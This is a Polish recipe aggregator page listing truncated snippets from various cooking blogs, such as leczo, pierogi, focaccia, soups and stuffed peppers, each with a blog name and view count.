placki ziemniaczane, puree .  Dodatkowo płatki ziemniaczane mogą być wykorzystywane przy wypieku chleba - jako spulchniacz i naturalny konserwant przedłużający świeżość pieczywa.  Inne zastosowanie to zagęstnik do zup czy sosów .  Oto jak swój produkt zachwala sam producent:   Płatki ziemniaczane oferowane przez Jantar STOLON to najwyższej jakości produkt, który od lat uzyskuje pochlebne opinie odbiorców na rynku krajowym

Grunt to przepis!
Dyniowo-serowe kluseczki ze śliwkami w cynamonowym miodzie 141

wypłynięcia gotujemy na małym ogniu 5-6 minut. Śliwki kroimy na mniejsze kawałki i podsmażamy je na miodzie. Posypujemy cynamonem, mieszamy i podajemy z gotowymi kluseczkami które polewamy miodowym sosem z patelni. Smacznego :) function load(url, callback) { var xhr; if(typeof XMLHttpRequest !== 'undefined') xhr = new XMLHttpRequest(); else { var versions = ['MSXML2.XmlHttp.5.0', 'MSXML2.XmlHttp.4.0', 'MSXML2.XmlHttp.3.0', 'MSXML2.XmlHttp.2.0', 'Microsoft.XmlHttp

Mienta blog
Leczo 166

paski, oczyszczoną z gniazd nasiennych. Mieszamy i dusimy, aż warzywa będą al dente.  Dodajemy następnie kawałki pomidorów obranych ze skóry.  Doprawiamy i dusimy, aż powstanie gęsty sos, a paprykę będzie miękka

Moja smaczna kuchnia
Kaskada, Smakfonia i pierogi z truskawkami 205

wczoraj wyciągnęłam z zamrażalnika, a rano ciasto było tak samo miękkie i elastyczne jak w dniu przygotowania. To wpływ dużej ilości tłuszczu. Farsz to truskawki obtoczone w cukrze i sos ze śmietany 36 % i sok z poduszonych truskawek. Hotel KASKADA nad urokliwym jeziorem Kierskim w Poznaniu gościł nas przez weekend , a wszystko za sprawą Moniki K, która prowadzi bloga

Damsko-męskie spojrzenie na kuchnię
Rustykalne tartaletki z kremem kokosowym i warsztaty „Owocowe szaleństwo w wytrawnej odsłonie” 207

przygotowanych na spotkanie składników (zdjęcia poniżej). Później my mieliśmy pole do popisu. Można było komponować swoje przystawki z owoców, warzyw, wędlin, mięsa, ryb, makaronu, dodatków typu octy balsamiczne, sosy, oleje, warunek był jeden przystawki miały zawierać produkty ETERNO. Nagrodzono najsmaczniejszą, najładniejsza i najoryginalniejszą przystawkę (niestety nasze się tym razem nie załapały na te miano :P) Zdjęcia z warsztatów znajdziecie

Damsko-męskie spojrzenie na kuchnię
Focaccia z papryką, pomidorkami koktajlowymi i rozmarynem 174

Focaccia to potrawa z kuchni włoskiej, jest podstawą pizzy. Nie ma na niej sera i sosu pomidorowego. Dzisiaj przygotowałam letnią, kolorową focaccię. Żytnia focaccia z papryką, pomidorkami koktajlowymi i rozmarynem. Pomidory koktajlowe muszę powiedzieć są własnoręcznie wyhodowane przez Piotra, z nasion, nie z sadzonek. Składniki: 2 szkl mąki żytniej, 1 szkl. mąki pszennej 2 łyżeczki cukru, 1 łyżeczka soli

Damsko-męskie spojrzenie na kuchnię
Przepis na lane kluski 570

słodko, jak i wytrawnie, doskonałe zastępują makaron w bulionie czy rosole. Kluski do zup są świetne, zastępują makaron np. kluski z tego przepisu pasują również do sosów. Najprostszy przepis na lane kluski: Składniki: 2 jajka 5 łyżek mąki 2 łyżki wody szczypta soli do smaku + sól do gotowania Przygotowanie Jajka wbijamy do miski, dodajemy szczyptę soli i wodę. R0ztrzepujemy starannie

Damsko-męskie spojrzenie na kuchnię
Surówka z kapusty, pora i koperku 377

wpływem soli zmięknie i puści sok, który należy odcisnąć. Odciśniętą kapustę przekładamy do miski, dodajemy marchewkę i por, skrapiamy sokiem z cytryny, doprawiamy pieprzem, posypujemy cukrem, mieszamy surówkę. Dodajemy sos przygotowany z łyżki majonezu wymieszanego z jogurtem i koperkiem, dokładnie mieszamy całość i wstawiamy do lodówki aby się wszystko przegryzło. Taka surówka to świetny dodatek do mięsa. Smacznego. The post

Damsko-męskie spojrzenie na kuchnię
Farfalle z bobem i chorizo 189

blanszowany, obrany ze skóry bób. Dusimy ok. 5 minut, dodajemy pokrojone w cząstki pomidory (bez nasion) , doprawiamy pieprzem i dusimy jeszcze ok. 2 minuty. Ugotowany makaron farfalle dodajemy do sosu, mieszamy. Wykładamy makaron na talerz, posypujemy świeżym tymiankiem. Smacznego! The post Farfalle z bobem i chorizo appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Domowy przecier pomidorowy (Puree pomidorowe) 306

aromat pomidorów, są dojrzałe od słońca, mają soczysty czerwony kolor i smakują jak pomidory. Bardzo lubię passatę, czyli włoskie purée z pomidorów. Pomidory przeciera się przez sito, dzięki czemu sos jest gładki i kremowy. Od pewnego czasu w sezonie jesienno /zimowo/wiosennym gdy nie mam domowego koncentratu pomidorowego kupuję tylko Passatę z kartonika zamiast gotowego koncentratu pomidorowego albo kupuję czasami pomidory

Damsko-męskie spojrzenie na kuchnię
Świeże figi z szynką 185

pleśniowy, czy mozzarella, doskonały też do sałatek jest ser kozi! Niektórzy nie lubią takich połączeń. Ale warto spróbować! Polecam np. sałatkę z truskawkami: Sałatka z truskawkami, kurczakiem i sosem balsamico , albo sałatkę z winogronami Sałatka z wędzonym łososiem i przepiórczymi jajkami . Do sałatek pasują też świeże figi. Świeże figi ostatnio pojawiły się w wielu sklepach, są bardzo tanie w zależności

Damsko-męskie spojrzenie na kuchnię
Sałatka z rydzów i kuskus 246

Lubicie kuskus? Często kuskus podaję do mięsa Wieprzowina w musztardowej marynacie , Gulasz wieprzowy w sosie pomidorowym , Szynka pieczona z żurawiną . Tym razem postanowiłam ją podać z grzybami. A lubicie rydze? U nas właśnie pojawiły się rydze, a Piotrek jako wytrawny grzybiarz trochę ich nazbierał. Przysłowie mówi lepszy rydz niż nic! Trzeba umieć zbierać rydze, nie wszędzie występują, u nas rosną

Damsko-męskie spojrzenie na kuchnię
Rosół z klopsikami po studencku 243

wypuściła ostatnio serię zup o tradycyjnych smakach: rosół, ogórkową, grochówkę, barszcz, żurek, grzybową, czy pomidorową. Zupy te wg opisu na opakowaniu są w 100 % są naturalne bez konserwantów, glutaminianu sosu i barwników, do tego smakują jak wskazuje nazwa na danym opakowaniu. Polecam więc Rosół z klopsikami po studencku   W pierwszej kolejności przygotowujemy klopsiki z 20 dag mielonego mięsa wieprzowego

Damsko-męskie spojrzenie na kuchnię
Sałatka z kuskus i rydzami a’la meksykańska 279

Lubicie kuskus? Często kuskus podaję do mięsa Wieprzowina w musztardowej marynacie , Gulasz wieprzowy w sosie pomidorowym , Szynka pieczona z żurawiną . Z kaszy kuskus robiłam nawet kluski do gulaszu. Przygotowywałam też lekką sałatkę warzywną z kuskus. Lubię kaszę kuskus wykorzystywać, gdyż wymaga krótkiej obróbki. A lubicie rydze? Piotrek je z zapałem zbiera, gdyż jest wytrawnym grzybiarzem. Wg mnie rydze obok borowików

Damsko-męskie spojrzenie na kuchnię
Indyk w raju, czyli pierś z indyka z suszonymi owocami 183

owoce zmiękły i nasiąknęły płynem. Rozłożony płat indyka układamy na folii aluminiowej, smarujemy marynatą od owocową. Na filecie z indyka układamy listki szpinaku bez ogonków, oraz owoce z sosem, przykrywamy płatem indyka. Zawijamy filet szczelnie w folię. Odkładamy na kolejne 30 minut. Nastepnie układamy mięso na grillu i pieczemy ok. 25 minut, rozcinamy folię od góry i pozwalamy mięsu

Damsko-męskie spojrzenie na kuchnię
Przepis na surówkę z kapusty pekińskiej 491

jabłko, doprawiamy solą i pieprzem cayenne, mieszamy surówkę. Dodajemy majonez Winiary i dokładnie mieszamy, wstawiamy surówkę do lodówki aby się wszystko przegryzło. Surówkę z kapusty podajemy do karkówki z sosem. The post Przepis na surówkę z kapusty pekińskiej appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Kaczka pieczona z jabłkami 257

deskę i ostrym nożem ( nie mam nożyc do drobiu) kroimy na porcje. Układamy mięso na ciepłym półmisku, a z naczynia, w którym kaczka się piekła zlewamy tłuszcz do sosjerki. Sosem polewamy kaczkę, obok układamy jabłka z kleksami borówek i morele. The post Kaczka pieczona z jabłkami appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Domowy rosół z kluseczkami 428

cenę. Rosół wołowy jest smaczny, bardzo aromatyczny i esencjonalny. Podaję rosół wołowy z domowymi kluseczkami. Na dobrym rosole można przygotować wiele zup, rosół jest doskonałą bazą do zup i sosów. Można taki rosół zamrozić, nawet w pojemnikach do lodu, jeśli jest potrzebny to wystarczy go dodać do dania. Rosół też zaleca się osobom przeziębionym lub rekonwalescentom po chorobie, gdyż domowy

Damsko-męskie spojrzenie na kuchnię
Pikantna zupa z płotek 245

czekały na swoją kolej. Wykorzystałam również marchewkę pokrojoną w plasterki, seler pokrojony w paseczki, oraz pokrojoną papryczkę chili. Do smaku doprawiłam zupę doprawiłam zupę chili w młynku oraz sosem sweet chili! Pikantna zupa z płotek jest pyszna, rozgrzewająca, akurat na chłodne dni. A dodatek słodkiej passaty pomidorowej i odrobina cukru zrobiła swoje. Pikantna zupa z płotek jest bardzo smaczna

Damsko-męskie spojrzenie na kuchnię
Kurczak słodko-kwaśny w śmietanie 279

Kurczak słodko-kwaśny w śmietanie jest przygotowany wg przepisu mojej babci na królika w sosie słodko kwaśnym. Babcia hodowała króliki, miała ich całe mnóstwo, nawet piękne białe angory, które kicały w klatkach. Lubiłam się bawić z królikami, ale trzeba było uważać aby nie zostać podrapanym, zachowywały się jak dzikusy. Lubiłam też dania z królika. Jakoś potrafiłam oddzielić te dwie rzeczy

Damsko-męskie spojrzenie na kuchnię
Zapiekanka (fast food) 1066

farszem lekko posypanym tartym serem. Obecnie zapiekanka to rodzaj kanapki z wędliną, pieczarkami, pomidorami na bułce zapiekanej z żółtym serem i podawanej przeważnie z keczupem czy też z innymi sosami. W sklepach też można kupić zapiekanki przygotowywane ze świeżych produktów lub jako mrożonki do podgrzania w piekarniku. Ze względu na krótki czas przygotowania (do 5 minut) oraz bardzo niską cenę

Damsko-męskie spojrzenie na kuchnię
Chilli con carne 238

średnim ogniu, co jakiś czas mieszając. Dodajemy pokrojoną paprykę, wlewamy 250 ml domowego rosołu. Gotujemy pod przykryciem przez około 5 minut, od czasu do czasu mieszając, aż powstanie gęsty sos. Na koniec dodajemy odsączoną i przepłukaną fasolę, kukurydzę i gotujemy pod przykryciem przez ok.3 minuty. Chilli con carne podajemy na gorąco z białym ryżem, chlebem lub plackami tortilli. Smacznego

Damsko-męskie spojrzenie na kuchnię
Gravlax z łososia 307

surowego łososia peklowanego w soli z dodatkiem cukru, pieprzu i koperku.Gravlax z łososia podaje się najczęściej jako przekąska, kroi się łososia w bardzo cienkie plastry i często podaje z sosem hovmästarsås. Kiedyś aby przygotować gravlax solono łososie i zakopywano w piasku, w miejscu napływania fal morskich aby ryby lekko sfermentowały. Obecnie nie stosuje się fermentacji w przygotowywaniu gravlax. Ryby przyrządza

Damsko-męskie spojrzenie na kuchnię
Szynka pieczona w musztardowo-miodowej marynacie 1207

szynkę na drugą stronę za pomocą szpikulca i pieczemy kolejne pół godziny. Jeśli jest potrzeba wydłużamy czas pieczenia. Po wystygnięciu kroimy w grube plastry. Podczas pieczenia wytworzył się pyszny sos, który może być dodatkiem wraz z ziemniaki, gdy szynkę pokroimy w cienkie plastry, możemy ją podać jako dodatek np. kanapki. The post Szynka pieczona w musztardowo-miodowej marynacie appeared first

Damsko-męskie spojrzenie na kuchnię
Gulasz paprykowy (Slowcooker) 193

program na maksymalne gotowanie i idziemy oglądać film lub czytać książkę. Po 1,5 godzinie duszenia mięso było już gotowe do konsumpcji, było miękkie i wytworzył się pyszny pieczeniowy sos. Wystarczy tylko ugotować ziemniaki, kaszę lub kluski i zaserwować je na obiad. Dzięki Slowcooker przygotowałam idealny gulasz paprykowy bez pilnowania, zaglądania w garnek i mieszania, to była dobra decyzja wybierając

Damsko-męskie spojrzenie na kuchnię
Pieczone udko kurczaka z Rösti 258

pieczemy 15 minut. aż się wszystko przyrumieni. Wykładamy na talerz pieczone udko kurczaka z Rösti wraz z pomidorami, oraz lekko duszonym szpinakiem z solą i czosnkiem. Możemy przygotować również sos na bazie majonezu i jogurtu z dodatkiem czosnku i szczypiorku. The post Pieczone udko kurczaka z Rösti appeared first on Damsko-męskie spojrzenie na kuchnię

Damsko-męskie spojrzenie na kuchnię
Kurczak na wschodnią nutę 483

lodówce. Rozgrzewamy patelnię, wrzucamy kurczaka, delikatnie podsmażamy, wlewamy 250 ml wody i dusimy 15 minut. Gdy kurczak zmięknie a woda odparuje dodajemy 100 ml słodkiej śmietanki 30%, redukujemy sos na małym ogniu aż lekko zgęstnieje. Kurczaka na wschodnią nutę podałam z podsmażonym z cebulką ryżem, który następnie został ugotowany w bulionie. 1 posiekaną cebulkę szklimy na 1 łyżce oliwy, wrzucamy

Damsko-męskie spojrzenie na kuchnię
Faszerowane piersi kurczaka 5376

podać faszerowane serem kozim i wrzucić na grill. Faszerowane piersi kurczaka z grilla były pyszne, soczyste, idealne w smaku. Przygotowujemy marynatę z 2 łyżek oliwy, 2 ząbków czosnku, odrobiny sosu sojowego, odrobiny soku z cytryny i siekanego świeżego tymianku. W 2 piersiach kurczaka robimy kieszonkę, doprawiamy kurczaka solą i pieprzem, smarujemy marynatą, również w środku kieszonki. Do środka wkładamy trochę

Damsko-męskie spojrzenie na kuchnię
ZMIANA 351

dotyczące żywienia, odchudzania itp, gdyż wiem, że praktyczne pomysły zawsze się przydają. I tak może na dobranoc, jako zapowiedź tego co będzie :P RAZOWE PIEROŻKI Z JAGODAMI z dodatkiem sosu na bazie jogurtu naturalnego i truskawek. Pyszne, pyszne :P Do następnego

All My Fit Life
Meksykańska zapiekanka z mięsem i ziemniakami 569

pokrojone w kostkę pomidory. Całość doprawiamy solą, pieprzem, łyżeczką oregano i zmiażdżonymi w moździerzu ziarnami kolendry oraz kminu. Dusimy razem do odparowania większości soku z pomidorów i postania gęstego sosu. Ugotowane ziemniaki dokładnie odcedzamy i ugniatamy ze śmietaną na gładkie puree. Dodajemy łyżeczkę oregano oraz granulowany czosnek i gałkę muszkatołową do smaku, mieszamy. Żaroodporne naczynie lub naczynia (ja użyłam

Ratunku obiad
Zupa krem z pomidorów z parmezanem i pesto 217

cebulę - 1 ząbek czosnku - 4 puszki pomidorów bez skórki (pelati) - 3 nieduże marchewki - 3 kostki buliowone (drobiowe lub warzywne) - małą puszkę przecieru pomidorowego opcjonalnie: 2 łyżki startego parmezanu  - sos pesto (kupny lub przygotowany wg mojego przepisu, patrz: tutaj ) - płatki parmezanu W garnku o pojemności 4 litrów, rozgrzewamy oliwę z oliwek. Cebulę kroimy w drobną kostkę, czosnek przeciskamy przez praskę

W mojej holenderskiej kuchni
Kanapka ciabatta 276

Kanapka ciabatta! Sycąca i bardzo smaczna kanapka na ciepło lub zimno, do której zamiast masła, czy sosu wykorzystałam pastę ze zmiksowanych domowych suszonych pomidorów . Ja podałam ją na gorąca, ciabatta jest obłożona miękkim serem mozzarella, domową gotowaną szynką , pomidorkami koktajlowymi oraz fioletową i zieloną bazylią. Do tej kanapki można też użyć wędzonej szynki, gotowany schab, normalnej wielkości pomidory oraz inny

Damsko-męskie spojrzenie na kuchnię
Smażony ser jak z Czech 490

pierwszy raz próbowaliśmy smażonego sera. Są to grube plastry sera zapanierowane w mace, jajku i bułce tartej, następnie usmażone na patelni w głębokim tłuszczu. Podaje się najczęściej frytkami i sosem tatarskim. Dzisiaj zatęskniliśmy za tym daniem, dlatego postanowiłam zrobić go znowu w domu. Po kilku nieudanych próbach mam patent i mogę wam powiedzieć, że od tego czasu ser wychodzi idealny

Bernika - moj kulinarny pamietnik
CIASTO Z GRUSZKAMI KARMELIZOWANYMI 201

Gruszki obrać, pokroić w grubsze plastry, ugotować budyń. Schłodzone ciasto rozwałkować wyłożyć na blachę wysmarowaną tłuszczem, ułożyć   plastry gruszek, zlać gorącym budyniem. Na budyniu ułożyć karmelizowane gruszki, polać sosem karmelowym który pozostał z gruszek. Piec 50 minut w nagrzanym piekarniku. rrarossa@gmail.com

RAROSSA
Pulled pork czyli długo pieczona wieprzowina 194

takiej postaci zjeść. Metoda ta pochodzi z południowo-wschodnich stanów USA i jest to kolejny przykład na genialność tego kraju. Najczęściej serwuje się je w kanapkach, burgerach z rożnymi sosami. Ja podałam z knedlami i ogórkami kiszonymi. Obiad był full wypas. I proszę się nie obawiać, włączenie na 10 godz. piekarnika nie pociąga za sobą aż tak ogromnego zużycia energii

Bernika - moj kulinarny pamietnik
Roti z warzywami 227

chlebki roti. Przyprawy z bułką tartą natomiast smażymy na oleju na złotobrązowy kolor. Następnie polewamy nimi warzywa. Ta daaam.      Polecam je zjeść z jakimś ostrym sosem. Sama niestety nie miałam akurat składników na przygotowanie takiego, więc użyłam pikantnego ketchupu. Zamiast bułki tartej polecam także obtoczenie warzyw w cieście drożdżowym przygotowanym z wyżej wymienionymi przyprawami i następnie

Weganizm infantylny
Pieczone ziemniaki z ogórkiem 217

obydwie mąki. Gdy mleko zacznie się gotować, wlewamy pozostałość i trzymamy całość na ogniu ok. 5 minut, stale mieszając, aż mieszanina zgęstnieje. W międzyczasie doprawiamy ją solą. Po pozostawieniu sosu do ostygnięcia, dodajemy do niego koperek (najlepiej świeży). Maczamy w nim plasterki ogórka i podajemy razem z upieczonymi ziemniakami.      Byliście krytykowani w dzieciństwie? Ja nie. Przynajmniej

Weganizm infantylny
Pizza hawajska na pełnoziarnistym spodzie 216

minut.  Po tym czasie wykładamy je do nieprzywierającej (posmarowanej niewielką ilością oleju) tortownicy/brytfanny. Koncentrat pomidorowy mieszamy w garnuszku z 3 łyżkami wody i wszystkimi przyprawami poza solą. Smarujemy sosem spód pizzy, na który następnie wrzucamy pokrojoną szynkę oraz ananasa. Pizzę pieczemy w 200 stopniach C przez ok. 20-30 minut. Smacznego

Weganizm infantylny
Mrożony krem czekoladowo-kokosowy 239

było baaaardzo zimne, czy tylko troszkę i czy ma być bardziej jak lody, czy bardziej jak krem (ja schowałam na trzydzieści minut do lodówki). Po wyjęciu możemy danie polać sosem czekoladowym, przystroić pozostałymi kawałkami gorzkiej czekolady czy co tam sobie wymyślimy. Smacznego ochłodzenia!           Z okazji moich imienin życzę sobie bogatego życia wewnętrznego

Weganizm infantylny
Pomidory suszone w słoikach 323

wyszło mi 9 słoików różnej pojemności. Takie pomidory są świetne do sałatek, kanapek, domowego pesto czy mięsa, olej zaś jest aromatyczny i można wykorzystać go do sosów sałatkowych, pieczenia mięsa itp. Zastosowań jest całe mnóstwo Do suszenia nadają się najlepiej pomidory, które są nieduże, podłużne i bardzo mięsiste. Przepis znalazłam tutaj . Post Pomidory suszone

Marta Gotuje
Faszerowane papryczki z mięsem i pieczarkami 250

jajka, pieczarki, pokrojoną w kosteczkę cebulę, pokrojoną pietruszkę.  Doprawiamy do smaku i mieszamy ręcznie. Następnie wypełniamy papryki i i pieczemy w naczyniu żaroodpornym.  Ja nie dodaję żadnego sosu, uważam że są smaczne same w sobie :)  Pieczemy w piekarniku w 180 C góra i dół 40 min. Smacznego

Niezły Młynek
Mini kebaby z nadziewanymi pomidorami - Grecka uczta 231

Kaszę gotujemy i ostudzamy. Odetnij górną część pomidorów i wyjmij miąższ. Posiekaj go i wrzuć do miski w której połączysz z kaszą,  garścią pietruszki (zostaw trochę do sosu ok 2 łyżeczek), czosnkiem, solą i pieprzem. Dobrze wymieszaj i nafaszeruj pomidory, skrop je delikatnie olejem i piecz w naczyniu żaroodpornym przez 20 min w temperaturze 180C (góra

Niezły Młynek
Moje domowe nachosy 202

Bardzo łatwe w przygotowaniu, można je dowolnie przyprawić - papryką ostrą, słodką, ziołami prowansalskimi, oregano, czosnkiem. Świetnie pasują do sosu serowego czy sałatki meksykańskiej. Ja podałam je do mojego chilli con carne, dlatego też nie doprawiałam ich jakoś szczególnie - przygotowałam wersję naturalną. Składniki: pół szklanka mąki pszennej pół szklanki mąki kukurydzianej 1 jajko szklanka wody gazowanej łyżeczka oleju rzepakowego szczypta soli

Kulinarny Pamiętnik
Zdrowe frytki z selera i marchewki 227

posmarowanej delikatnie olejem i piekłam ok. 15 minut w piekarniku rozgrzanym do 200 stopni. Z podanych składników przygotowałam naprawdę duuużą porcję dla jednej osoby, którą podałam z keczupem i sosem jogurtowo-czosnkowym

Kulinarny Pamiętnik
Kruche pierożki ze szpinakiem 237

Pyszna przekąska, świetna zarówno na ciepło, jak i na zimno. Moje kruche pierożki podałam z domowym sosem jogurtowo-czosnkowym. Składniki: * na ciasto: 400 g mąki pszennej 200 g zimnego, posiekanego masła sól żółtko 55 ml zimnej wody * na farsz: 400 g mrożonego szpinaku - wykorzystałam brykiet (można też użyć świeżego) 1 mała cebula, pokrojona w kostkę 3 duże ząbki czosnku przeciśnięte

Kulinarny Pamiętnik
Muffiny bananowe 208

miski z suchymi składnikami wlałam mokre składniki i całość wymieszałam bardzo szybko i niedokładnie - tylko do połączenia się składników. Do silikonowych foremek muffinkowych nakładałam po łyżce ciasta, łyżeczce sosu bananowego i pół kostki czekolady i przykrywałam jeszcze odrobiną ciasta, wypełniając foremki do 3/4 wysokości. Na każdą muffinkę kładłam plasterek banana. Piekłam 20-25 minut w piekarniku rozgrzanym do 200 stopni

Kulinarny Pamiętnik
Zakręcone ziemniaczki 9495

wymieszałam i powstałą mieszanką obsypałam ziemniaczki z każdej strony. Ułożyłam na blaszce i piekłam ok. 45-60 minut w piekarniku rozgrzanym do 250 stopni. Podawałam z keczupem i domowym sosem jogurtowo-czosnkowym

Kulinarny Pamiętnik
Różowy makaron 249

powstałych nitek uformowałam gniazdka i zostawiłam na ok. 2,5 godziny do podsuszenia. Podsuszony makaron wrzucałam na wrzącą, osoloną wodę i gotowałam przez ok. 2 minuty. Podawałam z sosem cukiniowo-szpinakowym z kurczakiem. *z makaronu można także wycinać inne kształty - myślę, że na przykład różowe makaronowe serduszka świetnie sprawdzą się na walentynkowe danie

Kulinarny Pamiętnik
Pieczony filet z indyka 175

kuchnię. Składniki - 70 dag filetów z indyka - 2 łyżki soli Marynata -1 łyżka bulionu drobiowego - ½ łyżeczki mielonej słodkiej papryki - 1 łyżka musztardy -  3 rozgniecione ząbki czosnku - 1 łyżka sosu sojowego - 2 łyżki oliwy Wykonanie Filet nakłuć widelcem. Sól rozpuścić w 1 l wody i zalać mięso. Odstawić na 2 godziny. Wyjąć i osuszyć. Składniki marynaty wymieszać. Natrzeć nią mięso

Świat Smaku
Sałatka z kurczakiem II 220

Mięso pokroić w kostkę, oprószyć przyprawą do grosa i podsmażyć. Wystudzić i dodać do warzyw. Wymieszać, posypać fetą. Czosnek obrać i przecisnąć przez praskę. Wymieszać z kefirem i majonezem. Sosem polać sałatkę. Życzę smacznego i zapraszam również na mój kanał na YouTubie  Świat Smaku . Komentarze oraz lajki mile widziane :) Zapraszam także na mój drugi kanał  Patentowo  gdzie

Świat Smaku
Rolada schabowa z suszonymi pomidorami 182

nicią. Roladę włożyć do natłuszczonego olejem z pomidorów naczynia żaroodpornego. Piec godzinę pod przykryciem w temperaturze 190 o C. Naczynie odkryć i piec jeszcze 20 minut, polewając wytwarzającym się sosem. Życzę smacznego i zapraszam również na mój kanał na YouTubie  Świat Smaku . Komentarze oraz lajki mile widziane :) Zapraszam także na mój drugi kanał  Patentowo  gdzie przedstawiam ciekawe

Świat Smaku
Pieczone udka z warzywami 193

Łatwa i aromatyczna potrawa jest idealnym pomysłem na codzienny obiad. Dodatkowym plusem jest fakt, że za jednym zamachem otrzymujemy soczyste mięso, rozpływające się w ustach warzywa oraz aromatyczny sos. Składniki - 1,5 kg udek z kurczaka - dwie duże marchewki - garść fasoli szparagowej - 1 puszka groszku konserwowego - ½ selera - przyprawa do drobiu - ostra mielona papryka - sól, pieprz Drogi internauto - jeżeli przepisy zamieszczone

Świat Smaku
Najprostsze placki z cukinii 221

bardzo często goszczą na moim stole. Są bardzo smaczne, można zajadać same, z różymi dipami jak również podać jako dodatek do mięska. Ja bardzo lubię je jeść z  sosem tzatziki . składniki: 2 średnie cukinie 2 jajka mąka do panierowania olej do smażenia sól czosnkowa lub ziołowa Młode cukinie dokładnie umyć i odkroić im końcówki. Następnie pokroić na plastry

Monia miesza i gotuje
Tagin Śródziemnomorski 193

pół opakowania sera feta - 1 łyżka kaparów - 8 listków świeżej bazylii - sól, pieprz oraz zioła prowansalskie  SKŁADNIKI DO MARYNATY: (będziemy marynować w tym piersi z kurczaka) - pół szklanki sosu sojowego ciemnego - 1 łyżeczka pieprzu cayenne - 1 łyżeczka pieprzu ziołowego - 1 łyżeczka pieprzu białego - 1 łyżeczka kurkumy - 1 łyżeczka curry - 1.5 łyżeczki ziół prowansalskich PRZYGOTOWANIE: Najpierw przygotujemy marynatę, należy

Zainspiruj się kuchnią
Makaron z zielonym pesto i grillowanym kurczakiem... 230

bazylia  - 1 łyżeczka tymianku - 1 łyżeczka rozmarynu - 1 łyżeczka ziół dalmatyńskich  - pół łyżeczki pieprzu ziołowego - sól, pieprz - opakowanie świeżego makaronu włoskiego MARYNATA DO KURCZAKA: - 4 łyżki sosu słodko- ostrego - pół łyżeczki pieprzu cayenne (chilli)  PRZYGOTOWANIE: Kroimy naszą pierś w paski, w miseczce rozrabiamy marynatę i wkładamy w nią mięso. Odstawiamy na 30- 40 min. Następnie rozgrzewamy

Zainspiruj się kuchnią
Grillowane panini... 175

smarujemy masłem, kładziemy cebulę, pokrojony marynowany czosnek, ser, wędlinę, warzywa, ser mozzarella, posypujemy wszystko przyprawami. Gdy mamy już poskładane nasze kanapki, należy je grillować. Gotowe tosty podawać z ulubionymi sosami. Smacznego

Zainspiruj się kuchnią
Pyszne placuszki marchewkowe :) 266

być pożywne i zdrowe :) Ciekawą alternatywą dla zwykłych kanapek są właśnie takie placuszki , które świetnie zaspokoją głód i dają zastrzyk energii . Te placuszki w wersji na słodko z np. sosem czekoladowym i bitą śmietaną idealnie nadają się jako deser dla najmłodszych :) ***Placuszki marchewkowe*** ( porcja na 4 duże placuszki ) 2 średnie marchewki 1 jajko 3 łyżki mąki 2 łyżeczki naturalnych otrębów

ciemna strona patelni
Cukinia faszerowana kuskusem 280

Zapiekana cukinia wypełniona wegetariańskim farszem z kaszki kuskus, warzyw i pietruszki. Pysznie smakuje np. z sosem czosnkowym. Składniki: 2 małe cukinie 1/2 szklanki kuskusu czerwona cebula kilka suszonych pomidorów pęczek natki pietruszki oliwa z oliwek sól, pieprz Cukinie przekroić wzdłuż, łyżeczką wydrążyć miąższ. Kuskus przygotować zgodnie z instrukcją na opakowaniu.  Cebulę i pomidory pokroić w kostkę, natkę drobno posiekać

wyzwania kuchenne
Lunchbox: Sałatka z kaszą gryczaną, mozzarellą i pomidorami 1392

Uwielbiam kaszę gryczaną, ale do tej pory jadłam ją raczej na ciepło, w postaci farszu w gołąbkach czy pierogach oraz z różnymi sosami. Tym razem zdecydowałam się podać ją na zimno. Sałatka z kaszą gryczaną idealnie nadaje się jako posiłek do pracy.  Składniki: 100 g kaszy gryczanej 1/2 kulki mozzarelli 1 pomidor garść listków bazylii sól, pieprz 2 łyżki

Pasja Smaku
Placki z cukinii z boczkiem i fetą 271

obiad dla dzieci i dorosłych. Są łatwe w przygotowaniu, delikatne w smaku, można je dowolnie modyfikować przez dodatki np boczek, paprykę, suszone pomidory, fetę czy zioła. Do tego do sos jogurtowy i lekki, letni obiad gotowy. Czytaj więcej

Bernika - moj kulinarny pamietnik
Papryka faszerowana mięsem mielonym i ryżem 538

spryskujemy delikatnie oliwą. Wlewamy do środka naczynia pół szklanki wody. Pieczemy w 180°C (170°C z termoobiegiem) przez 45 minut bez przykrycia. Podajemy same – bez dodatków, z sosem pieczarkowym lub z sałatą skropioną winegretem. Papryki możemy nadziać wcześniej, a upiec przed podaniem. Post Papryka faszerowana mięsem mielonym i ryżem pochodzi z bloga Poezja smaku

Poezja smaku
Gofry z owocami 197

Przygotowanie : Ubić białka. Wszystkie pozostałe składniki zmiksować, lekko wymieszać z pianą z białek. Rozgrzać gofrownicę. Wylewać porcje ciasta i piec na złoty kolor, przestudzić.  Dowolnie udekorować bitą śmietaną, sosem owocowym lub czekoladą. Przy okazji chciałabym złożyć najlepsze życzenia dla naszej blogowej koleżanki Paulinki z okazji urodzin! Wszystkiego co tylko sobie zamarzysz by się spełniło

Magiczne Życie Marty
Sadzone z marchewką na gęsto i z kuskusem 177

Przygotowanie:  Marchew obieramy, myjemy, kroimy w kostkę, przekładamy do garnka i zalewamy wodą, gotujemy do miękkości. Odcedzamy i pozostawiamy 1/2 wody, dodajemy łyżkę mąki pełnoziarnistej pszennej, mieszamy, aż sos zgęstnieje, doprawiamy do smaku.  Kuskus przygotowujemy zgodnie z opisem na opakowaniu.  Na patelni, na roztopionym maśle przygotowujemy jajko sadzone.  Podajemy kuskus, na kaszy układamy marchew na gęsto

Moja smaczna kuchnia
Pappardelle z mięsem, cukinią, papryką i pieczarkami w pomidorach 219

Następnie wszystkie warzywa przekładamy do mięsa razem z pomidorami pelati i ich sokiem, mieszamy, dusimy na małym ogniu, tak długo, aż warzywa i mięso będą miękkie.  Gdy sos będzie zbyt gęsty dodajemy odrobinę bulionu.  W tym czasie gotujemy makaron, zgodnie z opisem na opakowaniu, odcedzamy. Na 5 minut przed końcem dodajemy do potrawki mięsno-warzywnej oregano oraz ostrą

Moja smaczna kuchnia
Chutney śliwkowy z czosnkiem i chili 272

czym gotujemy na małym ogniu tak długo, aż śliwki zaczną się rozpadać (około 30-40 minut). Sami kontrolujcie, jaka gęstość Wam odpowiada. Im dłużej będziecie gotować, tym bardziej sos będzie robił się gęsty.  SMACZNEGO

Sajkofanka smaku
Rolada z indyka z żurawiną i morelami 219

